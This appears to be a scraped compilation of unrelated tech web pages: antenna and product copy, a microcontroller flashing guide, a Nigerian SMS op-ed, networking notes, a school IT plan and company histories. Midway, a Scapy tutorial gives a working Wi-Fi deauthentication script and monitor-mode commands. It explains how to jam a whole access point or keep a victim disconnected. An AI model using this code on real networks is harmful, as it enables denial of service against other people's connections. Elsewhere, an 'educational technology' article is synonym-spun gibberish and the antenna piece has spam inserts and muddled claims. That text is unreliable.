A Radio Frequency antenna is a tool used to transmit and receive radio waves or electromagnetic wave. Antennas are commonly used for the transmission and reception of radio waves for radio and television. There are all kinds of antennas and all shapes too. You can use antennas underwater, although they are usually used on land. They are also used to receive and transmit satellite radio transmissions. Today Radio Frequency antennas have become more sophisticated. They are now more compact and are not cumbersome. They are handy, and you can take them anywhere and mount them easily on objects. A Sirius radio antenna is among the more sophisticated antennas in the market today. The frequency radio antenna is an antenna that meets the demand or need of a modern, jet-setting individual. You can install it in your boat, on the roof of your home, in your car, or in your office. Whenever you need an antenna that will give you excellent radio service, choose a Sirius.
These are the types of Radio Frequency antennas:
Amateur Radio Frequency Antennas
If you look at the amateur antennas, you have a variety of options to choose from such as the vertical, antennas, antennas and quad antennas. The choice depends on various factors such as space limitations, budget constraints and frequency of operations. You can construct an amateur antenna on your own. The easiest antenna to construct is the dipole antenna. You can make a simple dipole antenna using a pair of copper wires and insulators. Just string them between two pole sticks and start using them for receiving radio signals. It can also be constructed from metal tubing, and they can be rotated to the right direction for the purpose of getting signals. One of the very popular types of amateur antennas is the quad antenna. This type receives radio signals properly, and it can be used even in low heights. Out of the many types of quad antennas, the most popular is the ham variety.
Satellite Radio Frequency Antennas
Satellite radio antennas broadcast radio waves from a space satellite. The signal broadcast from space is caught and then sent out to smaller receivers. The signals captured from satellite radio antennas are usually between the 2 and three gigahertz (GHz) range. It offers more powerful transmission capabilities than the traditional ground-based and hence is a more preferred for radio broadcast.Radio frequency antenna is not a new technological innovation. The application has existed for decades, and it has by no means stopped extending its use ever since the 1940s. Radio Frequency antennae can be described as a multi-component system. Components include micro transponders, readers, as well as modern day computer software that track a continuous feed of data.
An internal circuit and antenna are fixed directly into all Radio frequency transponders. The IC is then set in with a digital encrypt, differentiating it from amongst tagged items all over the world. When the tag proceeds within measurement limit of a Radio frequency reader, information from the tag is dispatched over the antenna to the sensor and the computer for processing.
Radio frequency antenna system was previously utilized by armed forces use in WWII. Since then, it’s been used in numerous fields of study and commerce. It became an effective piece of equipment in commerce, travel, as well as in the tracking of packages. You can have an Epoxy Flooring Contractor Come and set up a place for you to mount your antenna. Either that or just search Handyman Near Me and someone will come and help you get set up.Even though it is referred to as “wireless bar coding,” RFID are better than simple bar code readers. Through it, scanning will be completed no matter whether the tagged object is in the scanner’s line of sight or isn’t. Other strengths feature its capacity to scan articles within 90 feet radius.
Radio frequency antenna is a stand alone tracking scheme. This identification technique operates free of human involvement. Furthermore, it can certainly read plenty of tags all together even while maintaining high-level accuracy in identifying each tagged item.
Radio frequency identification units are labeled in only two types. The first category is derived from its storage and retrieval facility: Read-only or Read-write and Passive or Activated Superpower sources. The second kind depends upon the frequency it uses Low Frequency, High Frequency, or Ultra-high Frequency.
Read-only labels can only attain stored information such as a product information and the like. These kinds of systems can simplify fabrication and distribution processes. Read-write tags, on the other hand, are purposefully built to both interpret and input data.
In a passive approach, a Radio frequency identification scanner emits a power field that triggers as well as powers the tag. Without using scanner within 90 feet, the ID could not render any information. A passive method isn’t as practical and is rather inferior with regards to dependability than a dynamic system.
An active system offers electric packs constituted in tags to cause transmittal of data between tag and scanning device. These systems tend to be more polished and would certainly scan broader ranges. Latest models of these scanning devices can also come with thermal scanners.
There are considerations to take in choosing the right antenna for one’s needs. The first is its capability to match to many different Radio frequency signals around. Some antennas catch specific Radio frequency waves, and some catch multiple. One will have to choose the one suitable for their needs. One should also check into its power transmission feature.
Aside from the antenna’s capability, one should also check the size of the antennas. The size of the antenna will provide different reception. Small antennas are not easily affected by interferences, but they cannot catch signals easily. On the other hand, large radio frequency antennas are good at receiving reception but prone to interferences.
The interferences that affect signal transmission are also Radio frequency waves from various sources. Some other gadgets emit Radio frequency waves that can disturb a television channel’s reception. Sometimes the wireless phones, radar system, and remote controls emit Radio Frequency signals that cause interferences. Interferences distort sound and images in television.
In installing the Radio Frequency antennas, check the surroundings of the place. It is important to ensure that no tall buildings or tall trees are obstructing. These structures can obstruct Radio Frequency wave’s transmission, and the antenna will be useless. No signals will be transmitted in the antenna to Radio Frequency cable to the television. In the end, no good channel reception is obtained.
Radio Frequency antennas are not only placed outside but also inside. Like antennas placed outside, antenna’s placement inside is also checked. The wall interferes with the signals coming through so better place antenna in between walls.
The signals transmitted from antennas through Radio Frequency antennas cables can be divided. This is possible by the use of Radio Frequency splitters which consists of cables. Even if there are lots of television sets at home, good TV reception is obtained.
To ensure continuous good reception in a house, antenna cable is maintained with care. If not, Radio Frequency antennas will not be able to deliver signals to respective TV sets. It has to be replaced as needed. Information from media is vital for all. Everyone needs some TV channels to have access to all information.


Edimax AC450 Wi-Fi USB Adapter-11ac Upgrade for Laptops EW-7711ULC
Enjoy a better, smarter wireless experience with the super-fast, interference-free 5GHz frequency band. At speeds of up to 433Mbps, the EW-7711ULC is great for online gaming, video streaming or other bandwidth-intensive tasks which are too much for the standard 2.4GHz Wi-Fi frequency to handle. As the world’s first dedicated 11ac 5GHz adapter, the EW-7711ULC unlocks a new world of intelligent Wi-Fi performance and applications, future-proofing your laptop to communicate and sync with the next wave of 11ac-ready smartphones and tablets.
Nano, Stylish, And Minimal Design
The EW-7711ULC AC450 Wireless USB Upgrade Adapter ‘s Nano design is perfect design for mobility and convenience for you to take the advantage of 11ac 5GHz super-fast speed anywhere. With it’s stylish and minimal design, the EW-7711MAC perfectly fits your Ultrabook and laptops as part of it’s original design.
Download and Stream Anywhere
Use the EW-7711ULC to download and stream media from YouTube, Netflix or other services without waiting for buffering, or stream media across your network from a NAS (network-attached storage) at lightning speeds. Streaming HD movies or downloading is faster and more reliable than ever with 802.11ac Wi-Fi.
EDIMAX EW-7438RPn Mini N300 Wi-Fi Range Extender/Access Point/Wi-Fi Bridge
Smart 3-in-1 Extender, Access Point And Wireless Bridge
The EW-7438RPn Mini can work as Wi-Fi extender, access point or wireless bridge. Just configure the mode you need for your network environment using the smart iQ Setup wizard and enjoy surfing the web.
Smart App Control & Analytics
The extender works together with our free EdiRange smartphone app which displays your local Wi-Fi environment and provides easy-to-understand analytics. Plus you can manage the extender’s wireless network and functions such as scheduling and guest network.
Compact, Slim Wall Plug Design
Plugs directly into an existing electrical socket – no need for an additional power cable. Not only is the Edimax EW-7438RPn Mini slim and compact, it is designed with a built-in power adapter. This allows you to plug it directly into an electrical outlet, eliminating the need for an additional power cable. You can easily install it where your Wi-Fi signal needs enhancement and enjoy high-speed wireless performance without any hassles. Works With Any Wireless Router
Universal compatibility and easy web-based iQ Setup for quick and easy installation.
Smart iQ Setup
Features user-friendly browser-based iQ Setup for smart, automatic and quick installation. iQ Setup automatically detects the available Wi-Fi networks nearby and helps you establish a connection within seconds.
Quick And Easy WPS Installation
A WPS (Wi-Fi Protected Setup) button allows the EW-7438RPn Mini to join an existing wireless networking at the simple push of a button.
Wireless 802.11n Standard (Data Rates Up To 300Mbps)
802.11n technology is built into the EW-7438RPn Mini to broaden its wireless coverage and eliminate dead spots within wireless range. The EW-7438RPn Mini is also backward compatible with wireless 802.11b/g/n standards and can reach data transmission rates of up to 300Mbps when connected to wireless 802.11n devices, providing faster and more reliable wireless connections than standard 802.11b/g wireless networks.
The Wi-Fi scheduling function lets you program intelligent schedules to manage Wi-Fi availability and power usage according to your home’s routine. (*Wi-Fi extender mode only)
The EW-7438RPn Mini also features a guest wireless network which could be used for visitor and keep your home Wi-Fi private and secure. (*Wi-Fi extender mode only)
Signal Strength LED Indicator
Designed with a signal strength LED which helps you find the best setup location for optimal Wi-Fi coverage.
Edimax BR-6428nS V3 5-in-1 N300 Wi-Fi Router, Access Point, Range Extender, Wi-Fi Bridge & WISP
Edimax’s Revolutionary iQoS
iQoS is Edimax’s solution for a quicker, easier, and more effective way to manage Internet bandwidth. While Quality of Service (QoS) functionality is a common feature in routers across the market, typically only advanced users have the knowledge required to set up the complex parameters. Edimax though has redesigned QoS with user-friendliness and accessibility in mind. A simple and intuitive user interface allows users to arrange bandwidth priority settings in just a few clicks. With iQoS, you can enjoy gaming, video streaming, VoIP applications and BT clients at the same time without the usual nightmare of lag and interruptions. An original, efficient and effective means of managing your Internet bandwidth.
Multi-SSID & VLAN Support*
Multi-SSID enables users to configure up to five separate SSIDs in order to group and manage users according to your requirements.
*Access point mode only
Supports a guest network to provide connectivity while isolating guests from your primary network.
*Router mode only
D-Link DWA-620 Wireless 108 G Notebook Adapter PCMCIA Card
GET CONNECTED WITH FASTER WIRELESS SPEEDS
Powered by D-Link 108 G technology, this adapter provides wireless performance up to 108Mbps Turbo mode. This high-performance CardBus adapter is designed for users who demand higher networking performance. Maximize wireless performance by connecting this adapter to a Wireless 180 G Router. For backward compatibility, it is seamlessly interoperable with 802.11b wireless networks. This adapter supports WPA/WPA2 security and WEP data encryption to help prevent outside intrusion and protect your personal information from being exposed.
EASY TO SETUP, EASY TO USE
D-Link Quick Install Wizard guides users step-by-step through the installation process. Confgure this adapter without having to call a networking expert for help. A D-Link Wireless Connection Management utility is included with this product to keep track of all most frequently accessed networks. With unmatched 802.11g performance and wireless security, this adapter is the best choice for adding wireless connectivity to desktop computers.
+ Windows 98 SE, ME, XP SP2, 2000 SP4 or Vista
+ CD-ROM drive
+ 20MB hard disk space
+ Available CardBus slot
+ IEEE 802.11g
+ IEEE 802.11b
+ CardBus Type II PC Card
PCMCIA 32-bit CardBus
+ 2412 to 2462MHz (North America)
+ 2412 to 2472MHz (General Europe)
DATA MODULATION SCHEMES
+ 802.11b: DQPSK, DBPSK, DSSS, and CCK
+ 802.11g: BPSK, QPSK, 16QAM, 64QAM, and OFDM
RECEIVE SENSIVITITY (802.11B)
(8% ERROR RATE)
+ -84dBm at 11Mbps
+ -90dBm at 2Mbps
Printed PCB antenna
RECEIVE SENSIVITITY (802.11G)
(1000-BYTE PDUS, 10% ERROR RATE)
+ -87dBm at 6Mbps
+ -86dBm at 9Mbps
+ -85dBm at 12Mbps
+ -83dBm at 18Mbps
+ -80dBm at 24Mbps
+ -76dBm at 36Mbps
+ -71dBm at 48Mbps
+ -66dBm at 54Mbps
TRANSMIT OUTPUT POWER (802.11b)
18DBM (+/-2DB) AT 11, 5.5, 2, and 1MBPS
TRANSMIT OUTPUT POWER (802.11g)
+ 12 to 16dBm at 54Mbps
+ 13 TO 17DBM AT 48MBPS
+ 16 TO 17DBM AT 36 MBPS
+ 17 TO 19DBM AT 24, 18, 12, 9, and 6MBPS
3.3VDC +/- 10%
+ Continuous transmit mode: 500 mA
+ Continuous receive mode: 300 mA
+ Sleep mode: 30 mA
118 x 54 x 65 mm
0º to 40º C
-20º to 65º C
10% to 90% non-condensing
5% to 95% non-condensing
+ FCC Class B
1 54Mbps maximum wireless signal rate derived from IEEE standard 802.11g specifcations. 108Mbps Turbo speed when operating with other D-Link Wireless 108 G products. Actual data throughput will vary. Network conditions and environmental factors, including volume of network traffc, building materials and construction, and network overhead, may lower actual data throughput rate. Environmental factors will adversely affect wireless signal range. 2 Maximum output power setting varies according to individual country. 3 Feature available in future driver upgrade.
Enjoy truly remarkable 4K HDR clarity, colour and contrast. Rediscover every detail in 4K HDR while TRILUMINOS Display adds a brilliant picture that’s closer than ever to real-world colours. And with Android TV, find all the entertainment you want, faster than ever.


How to Program the ST10F27X Embedded Flash Using the St10 Flasher Tool V2.4b.222
The ST10F27X is a 16-bit microcontroller with embedded flash memory that can be programmed using the ST10FLASHER tool[^1^]. This tool is a Windows-based application that allows you to read, write, erase and verify the flash memory of the ST10F27X devices. In this article, we will show you how to use the St10 Flasher Tool V2.4b.222 to program the ST10F27X embedded flash.
A PC running Windows XP or later.
A ST10F27X evaluation board or a custom board with a ST10F27X device.
A serial cable or a USB-to-serial adapter to connect the PC and the board.
The St10 Flasher Tool V2.4b.222 software, which can be downloaded from here.
A hex file containing the code to be programmed into the flash memory.
Install the St10 Flasher Tool V2.4b.222 software on your PC by following the instructions in the setup wizard.
Connect the board and the PC using the serial cable or the USB-to-serial adapter.
Launch the St10 Flasher Tool V2.4b.222 software from the Start menu or the desktop shortcut.
Select the COM port that corresponds to your serial connection in the Port field.
Select the ST10F27X device type in the Device field.
Select the hex file that contains the code to be programmed in the File Name field.
Click on Connect to establish communication with the board.
Click on Erase to erase the flash memory of the device.
Click on Program to write the code into the flash memory of the device.
Click on Verify to check if the code has been written correctly into the flash memory of the device.
Click on Disconnect to end communication with the board.
In this article, we have shown you how to use the St10 Flasher Tool V2.4b.222 to program the ST10F27X embedded flash using a serial connection. This tool is easy to use and supports various features such as reading, writing, erasing and verifying the flash memory of the ST10F27X devices. You can use this tool to develop and test your applications for the ST10F27X microcontroller family.
Features of the ST10F27X Devices
The ST10F27X devices are 16-bit microcontrollers with embedded flash memory that belong to the ST10 family of 16-bit CMOS microcontrollers. They offer high CPU performance, high peripheral functionalities and enhanced I/O capabilities. Some of the main features of the ST10F27X devices are:
A CPU frequency up to 64 MHz with a 4-stage pipeline and a 16-bit DSP co-processor for signal processing algorithms.
A single voltage flash memory up to 256 Kbytes with 100,000 erase/write cycles and 20 years data retention.
A RAM up to 16 Kbytes with optional battery backup.
A clock management unit with an on-chip oscillator that supports external resonators or clocks, a PLL for frequency multiplication and a real time clock module with a 32 kHz oscillator.
A power management unit with a single supply voltage of 5V, an internal regulator for the core logic supply of 1.8V, a power down mode with RTC running and a power saving mode with CPU clock stopped.
A memory interface unit that supports external memory expansion up to 16 Mbytes, multiplexed or demultiplexed address/data bus, byte or word access and various wait state configurations.
A CAN interface unit that supports CAN protocol version 2.0B active with standard or extended identifiers, up to 15 message objects and various interrupt sources.
Various peripheral units such as timers, capture/compare units, PWM units, serial interfaces, analog/digital converters, watchdog timer, external interrupt inputs and general purpose I/O ports.
For more details on the features and specifications of the ST10F27X devices, refer to the ST10F27X datasheet or user manual[^2^].


Yes, it is good to rid oneself of uselessly inundating SMS and calls from service providers. But one could also miss very important messages sent online (bulk SMS).
It is easier and far cheaper to send messages to as many people as possible and at once via bulk SMS, hence the desire of organisations and individuals to opt for it.
But the service has been needlessly abused in Nigeria: everybody gets unsolicited and irrelevant calls and messages every time. Hence, the instruction by the National Communication Commission (NCC) directing GSM providers to implement DND.
Of course, the service is meant to be optional. But GSM service providers just went ahead to place many on it without notice or option. I was a victim. It took me a long time before I knew that I had been placed on blanket Do Not Disturb.
The repercussion of such is missing out on very important information. That would be disastrous for job seekers, students, staff of corporations that employ bulk SMS to contact staff, etc.
It is incumbent on NCC to direct GSM service providers not to place people on automatic DND. It is equally expedient that job seekers, students and others who may like get messages via bulk SMS to think twice before activating Do Not Disturb.
You can never tell when the service would deny you of getting that important message.
Femi Olabisi is on Twitter: @Femiolas


- Built-in FM radio with RDS technology
- View radio info, pairing status, and caller ID (name or phone number) on the display
- Switch from music to call with the press of a button
- EasyPair™ for simplified pairing with other Bluetooth devices
- Comes with S200 hi-fi stereo headphones for top comfort, a removable shirt clip and adjustable lanyard
- Works with any brand of Bluetooth-enabled compatible phone or music devices that support Advanced Audio Distribution Profile (A2DP) and Audio Video Remote Control Profile (AVRCP)
- Compatible with Motorola Bluetooth Stereo adapters; PC850 USB for the PC, TEN Technology naviPlay™ Bluetooth Stereo Adapter for iPod®, and DC 800 Bluetooth Gateway for the home stereo system
Experience mobile music to the max. Motorola’s first Class 1 Bluetooth® stereo headset on the market, the Motorola S705 SoundPilot Bluetooth® Stereo Controller for Wired Headphones delivers wireless connections for on-the-move, entertainment-savvy consumers who demand premium functionality for both voice and music. Offering entertainment and communication in perfect harmony, the S705 SoundPilot simultaneously connects to your compatible Bluetooth-enabled phone while streaming music from a separate music source, allowing you to listen to and wirelessly control your favorite tunes without the worry of missing a call. With superior sound, power and an ultra-cool design with soft touch finish, the Motorola S705 SoundPilot is light in weight but heavy in style and functionality—take control, never miss a beat or a call.


Educational innovation systems are composed of hardware, software as well as telecommunications. These components are designed to cooperate to provide a device to automate the processes of a business. The software program is generally described as a deal handling body, while the hardware is actually called a local area network. Adrian Andreescu Publishes analysis
Informative modern technology devices are actually pcs or even other hardware units that carry out specific jobs. In enhancement to these center functions, information modern technology systems additionally allow for the sharing of information and the selection of valuable records. Andreescu on Medium.com
Normal hardware utilized in informative modern technology bodies consists of the computer mouse, key-boards, hard drive, as well as flash drives. These are actually not the only forms of equipment made use of. Commonly, focused training is actually certainly not demanded to work all of them.
The most ideal technique to calculate what is actually readily available to you is to carry out a stock of your existing IT properties. This method is made easier due to the truth that the Division possesses an automatic device that updates the listing of readily available tools.
Educational innovation is making use of program and also equipment to accomplish duties. It involves gathering, processing as well as keeping records, and is crucial to organization procedures. Besides being crucial for businesses, information devices likewise determine the property of companies.
Educational devices include information storage space and also telecommunication systems. They are actually utilized to run electronic markets and also supply digital services and products. Businesses likewise use all of them to process financial accounts, deal with personnels, and also provide expertise.
Software is actually a collection of directions that says to a computer system exactly how to operate. Examples of program are actually word processor chips, file-sharing plans, and also Internet safety bodies.
Equipment is the physical parts of a computer unit. These may consist of pcs, web servers, keyboards, scanners, and external hard disks. Commonly, larger firms establish as well as personalize applications internal, while much smaller ones utilize registered or even proprietary software.
Informative technology systems and also telecoms are actually two crucial elements that help in the smooth performance of the current world. These technical advancements have reinvented the technique individuals as well as organizations operate.
Telecom describes the process of getting and sending details via wired as well as cordless networks. It likewise consists of the modern technology to link computer system bodies to every various other.
Educational modern technology systems are described as using telecoms as well as personal computers to gather, arrange, and also establishment info. This is done with software application, hardware, data sources, as well as records stockrooms.
The Net has produced info as well as information obtainable and also largely on call. Especially, the worldwide spread of mobile phones has generated wireless communication networks. The spread of wireless technologies has actually led to extensive quantities of data being created via wireless sensing unit systems.
Deal handling device
The Transaction Handling Body (TPS) is actually an informational modern technology body that offers an association with dependable and also error-free input of information. TPS is actually utilized in a variety of applications, consisting of financial, purchases as well as customer care.
A Transaction Processing System makes it possible for services to access a bigger client foundation and also offer services and products more quickly. Services can additionally spare funds on potential body upgrades by using a TPS.
Purchase Processing Systems are software and also hardware systems that store, retrieve, as well as method data. They could be individualized depending on to an organization’s needs. These systems are commonly assessed by the lot of transactions they take care of and the amount of time they need to refine all of them.
The best transaction handling bodies supply users along with trusted and protected input, and also make it possible for authorized staffs to administer deals. On top of that, they are created to lessen inaccuracies.
Workplace automation device
Workplace hands free operation describes using software program as well as equipment services to boost the circulation of info in an institution. It can feature every little thing from emailing and also faxing to information storage as well as word processing. Utilizing a body that assists in automating such duties can aid your organization strengthen its operations, resulting in a faster pace of interaction and a much more productive workforce.
When opting for a brand-new office computerization system, it’s important to locate the best remedy for your business. There are actually a handful of requirements to always remember. These consist of activity monitoring, information storage space, safety as well as user gain access to.
The absolute most dependable office automation bodies will include with various other existing resources and can transfer data to other resources. Also, your workplace automation system ought to possess a user friendly interface. Ensure that you can easily set up accessibility benefits and that the system allows you to handle and also track business processes.
Informative modern technology bodies are actually created up of hardware, software application and telecommunications. Educational modern technology units are actually computer systems or various other hardware units that hold out details activities. In add-on to these center functions, details technology systems also permit for the sharing of relevant information as well as the selection of useful data.
Typical hardware utilized in educational technology systems consists of the computer mouse, key-boards, hard drive drives, and flash drives. Transaction Processing Equipments are software application and also hardware systems that stash, fetch, and also process records.


Issue: On xx80 Series SteelHead appliances running RiOS version 9.12.x or 9.14.x, one or more InPath LAN or WAN Interfaces or the Primary Interface goes into the DOWN state and will not come back UP until the appliance is rebooted. Additionally, the System Logs contain a reference to the error message, "Detected Tx Unit Hang".
Cause: This issue is associated with Bug STEELHEAD-11530.
Fix: This issue is fixed in RiOS version 9.14.1a.
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Things normally become complex when we have to give a proper definition for it. It is applicable for your exams as well as life . SO when it comes to defining a technical suff like Wide Area Network , there arises so many confusions. This post is an effort to define the WAN from three different view points . For any trival explanation of the WAN your elementary books on networking come handy.
Here we are considering three different persons working in a typical company in which we implemented WAN . The end user , The Person who is in-charge of the organization and the technical person. Normally it is the technical definition is what we considered as definition.
User /End user /Customer
From a normal users point of view he did not care much about the LAN and WAN aspects. His main concern is availability. That is if he is getting the data needed for his productivity or not. From his point of view some of the computers in the network , he is getting the data in a faster way and form some other computers , the data transfer is slow. So he may be going to define a WAN as a slow LAN
Your Organizational Head / Account department
Again we assume that he is not much in to computing or technology and his main concern is about the finalcial aspects and asset management. So he is going to define the WAN as we own a LAN and we lease a WAN
The more complex definition comes from this guy. He is going to define the WAN as a DTE to DTE connection over a DCE facility. ie two Data terminal equipment communicating with each other through a set of Data Communication facilities
So the WAN is all the three in to one , Yes it may look like a slow WAN , it is leased rather than the one we own and it is a DTE to DTE over a DCE ,
Hope you can come up with your own custom definitions also


WiFi Project: Develop a wireless network to support seamless daily classroom instruction and building-based 1:1 initiatives, with support for potential 5:1 density.
2015-2016: All buildings were upgraded to new wireless solution.
10-Gig Plan: Upgrade core network connections from 1Gb to 10Gb with options for 20Gb should ultra-high capacity throughput be needed.
10-Gig Visualization: https://goo.gl/q8jGg2
2015-2016: Fiber cabling RFP, Select IDF upgrades
2016-2017: Building-building, Fiber installs, Continue select IDF connections
Redundancy: Provide continuity of services due to failures through off-site backups of core services, redundant drive storage (RAID) of core systems, and multiple connections to public utility services (phone and internet), as well as continuity through cross-training staff to respond.
2015-2016: (1) Campus Ring - completing campus building interconnection by closing the one-way building fiber connection loop through a public internet and virtual private network (VPN) connection should a mid-fiber failure occur. (2) Power Failure Protocol - Plan developed and training for multiple technology team members. (3) Internet Addition - Planned and built out DMS-based internet connection for redundancy and 'Campus Ring' project.
2016-2017r: Building-building 1Gb backlinks for public internet and VPN/VLAN to core network and services.
Configuration Visualization: LINK
Internet Bandwidth: Support the increased need for internet capacity by monitoring and adjusting bandwidth as well as providing additional connections to improve load balancing and provide redundant service continuity.
2016-2017 500Mb(10Gb, 10Gb)+100Mb
SSO Project: Unify accounts and logins, reduce the number of usernames and passwords, provide greater access to systems based on user role, and integration with existing systems. (SSO = Single Sign On).
2015-2016: Implement new "Active Directory" user directory system and link relevant systems to use this new system.
Streaming Media: Provide streaming media and video services over network connection to replace aging analog broadcast cable system.
2015-2016: Link OTA (over-the-air) high-definition video the the streaming services for local broadcast stations. Integrate two-point streaming appliances to enable quick setup and deployment of live remote broadcasts.
2016-2017: Discontinue analog coax infrastructure. Full scale deployment of streaming services (FCASD.TV).


Welcome! Meet our Python Code Assistant, your new coding buddy. Why wait? Start exploring now!
In this tutorial, we will see how we can kick out devices from a particular network that you actually don't belong to in Python using Scapy, this can be done by sending deauthentication frames in the air using a network device that is in monitor mode.
An attacker can send deauthentication frames at any time to a wireless access point with a spoofed MAC address of the victim, causing the access point to deauthenticate with that user. As you may guess, the protocol does not require any encryption for this frame, the attacker only needs to know the victim's MAC address, which is easy to capture using utilities like airodump-ng.
Check this too: How to Make a DHCP Listener using Scapy in Python.
from scapy.all import *
Luckily enough, Scapy has a packet class Dot11Deauth() that does exactly what we are looking for. It takes an 802.11 reason code as a parameter, and we'll choose a value of 7 for now (which is a frame received from a nonassociated station as mentioned here).
Let's craft the packet:
target_mac = "00:ae:fa:81:e2:5e"
gateway_mac = "e8:94:f6:c4:97:3f"
# 802.11 frame
# addr1: destination MAC
# addr2: source MAC
# addr3: Access Point MAC
dot11 = Dot11(addr1=target_mac, addr2=gateway_mac, addr3=gateway_mac)
# stack them up
packet = RadioTap()/dot11/Dot11Deauth(reason=7)
# send the packet
sendp(packet, inter=0.1, count=100, iface="wlan0mon", verbose=1)
This is basically the access point requesting a deauthentication from the target; that is why we set the destination MAC address to the target device's MAC address, and the source MAC address to the access point's MAC address, and then we send the stacked frame 100 times each 0.1s, this will cause a deauthentication for 10 seconds.
You can also set "ff:ff:ff:ff:ff:ff" (broadcast MAC address ) as addr1 (target_mac), and this will cause a complete denial of service, as no device can connect to that access point. This is quite harmful!
Now to run this, you need a Linux machine and a network interface that is in monitor mode. To enable monitor mode in your network interface, you can use either iwconfig or airmon-ng (after installing aircrack-ng) Linux utilities:
$ sudo ifconfig wlan0 down
$ sudo iwconfig wlan0 mode monitor
$ sudo airmon-ng start wlan0
My network interface is called wlan0, but you should use your proper network interface name.
Now you're maybe wondering, how can we get the gateway and target MAC address if we're not connected to that network? that is a good question. When you set your network card into monitor mode, you can actually sniff packets in the air using this command in Linux (when you install aircrack-ng):
$ airodump-ng wlan0mon
Note: wlan0mon is my network interface name in monitor mode. You can check your network interface name using iwconfig Linux utility.
This command will keep sniffing 802.11 beacon frames and arrange the Wi-Fi networks to you as well as nearby connected devices to it.
Before we execute the script, my victim's Android phone (which has the MAC address "00:ae:fa:81:e2:5e") is normally connected to the Wi-Fi access point (which has the MAC address "e8:94:f6:c4:97:3f"):
Now let's execute the script:
Going back to the victim device:
As you can see, we have made a successful deauthentication attack! You can pass
-c 0 (by default) to prevent him from connecting until you stop the execution!
I highly encourage you to check the completed version of the code that uses command-line arguments, as shown in the figures.
You're may be wondering why this is useful? Well, let's see:
Disclaimer: Do not use this on a network you don't have permission to, we do not take any responsibility. This tutorial is for educational purposes!
Happy Crafting ♥
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VoIP (Voice Over IP)
What is VOIP?
Voice Over IP technology is a relatively recent addition to IT infrastructure, and has become especially prevalent due to globalisation and more recently a global move towards working from home.
Technologies such as Zoom, Skype and Microsoft Teams employ VOIP technology to conduct virtual conferencing sometimes called IP Telephony.
Unfortunately, this new technology can be difficult to implement, time-consuming and costly without adequate IT support.
For smaller businesses in the UK, VOIP offers several improvements over traditional telephones, but still needs support. VoIP differs from conventional telecoms technology by having its features based on the handset or by the user as appose to by the system, that way you only pay for the functions you require on a per user basis instead of a per system basis, making VoIP a fraction of the cost to setup, and with VoIP being a versatile platform you can work from anywhere in the world by simply plugging your phone into an existing broadband connection, without any extra costs. VoIP handsets also have the ability to have individual voicemail, call recording, call transfer, to name but a few all as standard and at a nominal cost to that of conventional telephony costs.
Contact us to learn more about how we can help you with this.


The new phone is both taller and lighter than the previous version, coming in at 18% thinner and only 112 grams. The display is Apple’s much-heralded retina display, with a 19:6 aspect ratio and dimensions of 1136 x 640.
According to tech site Mashable, the new display has touch sensors that are integrated into the display itself instead of acting as a layer on top. The new display, Apple claims, has 44% more color saturation than previous models – crucial for the growing number of photographers obsessed with the mobile technology.
The iPhone 5 will also have LTE connectivity, the fastest 4G service currently available. The phone will be available on Verizon, AT&T and Sprint here in the U.S. There are currently no plans for the iPhone 5 to be available for T-Mobile users.
Aspiring photographers will also be happy to see that the camera shot time has been reduced by 40%, allowing for quicker, more spontaneous shots.
One downfall for the new iPhone 5 may be the fact that Apple has changed the connector for usage with docks and USB. Called “Lightning” the new connector won’t work with previous versions of iPhone cables. Apple is planning to sell an adapter.
The new phone boosts an upgraded processor from Apple which is twice as fast as the old iPhone 4S. Battery life will be 10 hours if the phone is on Wi-Fi, eight if it’s on the LTE mobile connection. Sales projections for the iPhone 5 are around 8 million in the final quarter of 2012 alone.
Prices for the iPhone 5 start at $199 for the 16GB model and will go up to $399 for the 64GB model.
Information in this article was written via multiple streaming events covering the Apple launch announcement.


Email allows people to send and receive messages from internal users and external customers and suppliers. Office 365 is a cloud-based set of productivity tools consisting of the latest Microsoft Office applications allowing end-users the ability to work on- or off-campus. Calendar functionality allows scheduling of appointments and meetings. Access to the corporate telephone directory and a list of all corporate contacts. Ability to store personal contact details Ability to create work tasks All of these features allow the User to communicate with other users and organize tasks more efficiently.


Future-oriented camera technology
RICO celebrates its 40th anniversary
At RICO GmbH in Kempten im Allgäu, everything has revolved around microelectronics and sensor technology for sewer inspectors for 40 years. They have been working with the TV inspection systems for pipes and sewers since the company was founded in 1978 and are driving the development of the systems with their questions and application needs.
Since its inception, the industry has quickly become a strong global player in the industry. In 1990 RICO became part of the ROTHENBERGER group of companies and the original building was extended. In 1994, the Kleinwalsertaler company EAB, developer and manufacturer of small, mobile cameras, merged with RICO.
The medium-sized flexibility and speed as well as the substance from the group integration enables RICO to take up a special position in the competition until today.
In addition to camera systems, RICO soon expanded complete vehicles. Since the beginning of vehicle development, the Kempteners have paid great attention to ergonomic equipment and user-friendliness. To demonstrate this technique, committed employees produced various demonstration setups.
The vehicles were initially equipped with video recorders, video printheads, a computer with MS DOS operating system and a channel acquisition program.
Text from a publication 1987:
"All-round view - now also in color
The demand for color television cameras for the inspection of pipelines in the municipal area has increased significantly. For this application, RICO has now also developed a Color-Swivel-Roto-Probe, which can be used from a nominal width of 200 mm. "
As early as 1990, the mobile compact system for pushing and driving offered the possibility of recording images using a sun protection tube and instant camera. For this purpose, users had to put the sunscreen tube on the tube screen, so as to produce images.
The handling of the products turned out to be cumbersome. Push rods on the flexible camera cable were needed to move the cameras - nowadays there is a push cable that combines cable and push bar. As with the sliding system sliding system TINY | PLUS.
This push cable simplifies the handling of today's technology by far. Also, today's RICO systems offer integrated recording capabilities such. For example, in the CROSS | TOUCH mobile vehicle system, where the entire documentation is already included by means of an integrated industrial PC and inspection software.
Individual vehicle development has become one of RICO's unique selling propositions: customer wishes are also implemented. The experience accumulated over the years and the know-how of the employees make the most diverse vehicle conversions so special and popular. Inspection software already includes all the documentation.
Through a worldwide network of sales partners and service centers, RICO can quickly and individually implement different customer tasks. For example, RICO has been working with the Italian GEOVISION as a distribution partner since 1983. Back then, RICO had already expanded one of the first fully equipped TV inspection vehicles for the city of Parma.
The latest milestone in the development of the Kempten specialists is the HD image technology. RICO combines full HD digital camera technology with 1000 meter transmission cable and transmits films without loss.
The new CROSS | HD product family, which includes the CAM | 150, the trolley TRAC | 150 and the new cable drum CROSS | DRUM includes, delivers brilliant pictures and movies. The transmission distance of 1000 meters can be extended on customer request. Convenient for users: the longer the cable, the less frequently the camera and trolley must be put into operation. This saves time and orders can be processed faster and easier.
With this technology, RICO has also taken on the well-known problem of requiring users to perform system balancing for analog data transmission and cable shortening. The digital data transfer of the CROSS | HD eliminates the need for full adjustment.
